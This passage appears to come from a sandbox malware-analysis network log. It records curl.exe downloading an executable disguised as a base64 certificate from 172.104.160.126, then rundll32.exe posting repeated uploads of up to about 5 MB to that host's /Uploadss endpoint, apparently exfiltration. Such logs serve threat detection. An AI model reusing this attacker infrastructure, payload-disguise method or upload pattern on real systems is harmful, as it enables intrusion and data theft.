Jul 22, 2024 15:58:03.112984896 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.112999916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.113020897 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.113591909 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.113601923 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.113631964 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.114111900 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.123985052 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.124056101 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.129070997 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129264116 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129411936 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129527092 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129601955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129724026 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129733086 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129750013 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129834890 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129843950 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129853010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129951000 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.129961014 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130004883 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130058050 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130063057 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130079985 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130158901 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130167961 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130234957 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130331039 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130415916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130424976 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.130768061 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.155320883 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.155422926 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.155422926 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.155472994 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.160365105 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.160639048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.160764933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.160923004 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.160969019 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.161098003 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.161108017 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.161170959 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.161250114 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.161958933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162033081 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162141085 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162148952 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162178993 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162293911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162302017 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162503958 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162512064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162523031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162535906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162543058 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162749052 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162758112 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162765980 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162772894 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162781954 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.162791014 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163259029 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163269043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163278103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163286924 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163300037 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163307905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163316965 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163325071 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163332939 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163336992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163343906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163655043 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163662910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163671970 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163680077 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163682938 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.163686991 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:03.164341927 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:03.164397001 CEST	49785	5000	192.168.2.6	172.104.160.126

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 22, 2024 15:58:19.670135021 CEST	192.168.2.6	1.1.1.1	0x960f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:58:19.670432091 CEST	192.168.2.6	1.1.1.1	0xf41f	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 22, 2024 15:57:57.744838953 CEST	1.1.1.1	192.168.2.6	0x58f8	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 22, 2024 15:58:19.677860022 CEST	1.1.1.1	192.168.2.6	0xf41f	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 22, 2024 15:58:19.678556919 CEST	1.1.1.1	192.168.2.6	0x960f	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:58:46.119676113 CEST	1.1.1.1	192.168.2.6	0x3d19	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49717	172.104.160.126	8099	2784	C:\Users\user\AppData\Local\Temp\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:57:46.718877077 CEST	96	OUT	GET /payload2.txt HTTP/1.1 Host: 172.104.160.126:8099 User-Agent: curl/7.83.1 Accept: /
Jul 22, 2024 15:57:47.923765898 CEST	1236	IN	HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.10.12 Date: Mon, 22 Jul 2024 13:57:47 GMT Content-type: text/plain Content-Length: 1941690 Last-Modified: Fri, 19 Jul 2024 08:16:47 GMT Data Raw: 2d 2d 2d 2d 2d 42 45 47 49 4e 20 43 45 52 54 49 46 49 43 41 54 45 2d 2d 2d 2d 2d 0d 0a 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 45 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 0d 0a 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 43 4c 7a 71 43 56 7a 36 2f 4f 78 73 2b 76 7a 73 62 50 72 38 37 47 0d 0a 68 4e 66 4e 78 38 65 76 7a 73 61 45 31 38 76 48 48 4b 2f 4f 78 6f 54 58 79 73 66 65 72 38 37 47 7a 36 2f 4f 78 73 36 76 7a 73 59 4c 32 73 72 48 75 4b 2f 4f 78 6c 6a 78 7a 38 66 4e 72 38 37 47 0d 0a 44 53 34 7a 78 73 6d 76 7a 73 59 4e 4c 73 76 48 6c 61 2f 4f 78 67 30 75 79 73 66 64 72 38 37 47 44 53 37 4e 78 39 32 76 7a 73 61 45 31 [TRUNCATED] Data Ascii: -----BEGIN CERTIFICATE-----TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACLzqCVz6/Oxs+vzsbPr87GhNfNx8evzsaE18vHHK/OxoTXysfer87Gz6/Oxs6vzsYL2srHuK/Oxljxz8fNr87GDS4zxsmvzsYNLsvHla/Oxg0uysfdr87GDS7Nx92vzsaE18/H3K/Oxs+vz8Y0r87GPC3Gx8ivzsY8Lc7Hzq/OxjwtMcbOr87GPC3Mx86vzsZSaWNoz6/OxgAAAAAAAAAAUEUAAGSGBwBiH5pmAAAAAAAAAADwACIgCwIOJwCOEAAAIAUAAAAAAPCXAgAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAABYAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAACB3FADwCwAAEIMUANwAAAAA0BUA4AEAAADwFAA4wQAAAAAAAAAAAAAA4BUAEBMAABCfEwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0J0TAEABAAAAAAAAAAAAAACgEAB4BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAB1jRAAABAAAACOEAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQvoDAACgEAAA/AMAAJIQAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAHBJAAAAoBQAACQAAACOFAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAA4wQAAAPAUAADCAAAAshQAAAAAAAAAAAAAAAAAQAAAQF9SREF [TRUNCATED]
Jul 22, 2024 15:57:47.926978111 CEST	1236	IN	HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.10.12 Date: Mon, 22 Jul 2024 13:57:47 GMT Content-type: text/plain Content-Length: 1941690 Last-Modified: Fri, 19 Jul 2024 08:16:47 GMT Data Raw: 2d 2d 2d 2d 2d 42 45 47 49 4e 20 43 45 52 54 49 46 49 43 41 54 45 2d 2d 2d 2d 2d 0d 0a 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0d 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 45 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 0d 0a 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 43 4c 7a 71 43 56 7a 36 2f 4f 78 73 2b 76 7a 73 62 50 72 38 37 47 0d 0a 68 4e 66 4e 78 38 65 76 7a 73 61 45 31 38 76 48 48 4b 2f 4f 78 6f 54 58 79 73 66 65 72 38 37 47 7a 36 2f 4f 78 73 36 76 7a 73 59 4c 32 73 72 48 75 4b 2f 4f 78 6c 6a 78 7a 38 66 4e 72 38 37 47 0d 0a 44 53 34 7a 78 73 6d 76 7a 73 59 4e 4c 73 76 48 6c 61 2f 4f 78 67 30 75 79 73 66 64 72 38 37 47 44 53 37 4e 78 39 32 76 7a 73 61 45 31 [TRUNCATED] Data Ascii: -----BEGIN CERTIFICATE-----TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACLzqCVz6/Oxs+vzsbPr87GhNfNx8evzsaE18vHHK/OxoTXysfer87Gz6/Oxs6vzsYL2srHuK/Oxljxz8fNr87GDS4zxsmvzsYNLsvHla/Oxg0uysfdr87GDS7Nx92vzsaE18/H3K/Oxs+vz8Y0r87GPC3Gx8ivzsY8Lc7Hzq/OxjwtMcbOr87GPC3Mx86vzsZSaWNoz6/OxgAAAAAAAAAAUEUAAGSGBwBiH5pmAAAAAAAAAADwACIgCwIOJwCOEAAAIAUAAAAAAPCXAgAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAABYAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAACB3FADwCwAAEIMUANwAAAAA0BUA4AEAAADwFAA4wQAAAAAAAAAAAAAA4BUAEBMAABCfEwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0J0TAEABAAAAAAAAAAAAAACgEAB4BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAB1jRAAABAAAACOEAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAQvoDAACgEAAA/AMAAJIQAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAHBJAAAAoBQAACQAAACOFAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAA4wQAAAPAUAADCAAAAshQAAAAAAAAAAAAAAAAAQAAAQF9SREF [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:57:52.076809883 CEST	175	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 763 Content-Type: multipart/form-data; boundary=------------------------f9fa7306880345da
Jul 22, 2024 15:57:53.008451939 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:57:52 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:57:53.358400106 CEST	178	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 160166 Content-Type: multipart/form-data; boundary=------------------------f13a1e66d9ac3858
Jul 22, 2024 15:57:55.009737968 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:57:54 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49726	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:57:55.156630993 CEST	178	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 106918 Content-Type: multipart/form-data; boundary=------------------------3db099609e8ee48c
Jul 22, 2024 15:57:56.888102055 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:57:56 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49785	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:01.400501966 CEST	201	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 5243310 Content-Type: multipart/form-data; boundary=------------------------f661165eccdedd9d Expect: 100-continue
Jul 22, 2024 15:58:02.352619886 CEST	25	IN	HTTP/1.1 100 Continue
Jul 22, 2024 15:58:02.691077948 CEST	25	IN	HTTP/1.1 100 Continue
Jul 22, 2024 15:58:12.813688040 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:12 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49787	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:12.852502108 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2fe595d5319db200
Jul 22, 2024 15:58:14.099627972 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:13 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49788	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:14.240947008 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4b737e61e1b7e9bf
Jul 22, 2024 15:58:15.198400974 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:14 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49791	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:15.259640932 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4e35b57d9f58fc90
Jul 22, 2024 15:58:16.230422020 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:16 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49792	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:16.271934986 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------815ab7d36e08e457
Jul 22, 2024 15:58:17.295510054 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:17 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49796	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:17.336795092 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a5d52e19e3fe200b
Jul 22, 2024 15:58:19.095040083 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:18 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49799	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:19.144777060 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------ec3ba31dfe96d326
Jul 22, 2024 15:58:20.122091055 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:19 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49802	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:20.170160055 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f22aeea0bd5a0f8e
Jul 22, 2024 15:58:21.153264999 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:20 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49803	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:21.187952042 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------d8bdcfc228d82f5a
Jul 22, 2024 15:58:22.142986059 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:21 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49804	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:22.184228897 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------cfe9280e100efce1
Jul 22, 2024 15:58:23.149571896 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:22 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49805	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:23.185118914 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------904a2babf6d2f7ac
Jul 22, 2024 15:58:24.139328003 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:23 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49806	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:24.183013916 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f49946b6384ac060
Jul 22, 2024 15:58:25.188642979 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:24 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49807	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:25.223192930 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b85ce3e308f45060
Jul 22, 2024 15:58:26.179584026 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:25 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49808	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:26.214215040 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------614e08f55f0c2cfe
Jul 22, 2024 15:58:27.172560930 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:26 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49809	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:27.223325014 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------bea6c7b09692f28c
Jul 22, 2024 15:58:28.192996979 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:27 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49810	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:28.223781109 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------23dd402f4b4a39c5
Jul 22, 2024 15:58:29.393204927 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:58:29 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49811	172.104.160.126	5000	3992	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:58:29.415345907 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------e591042c4603c21a
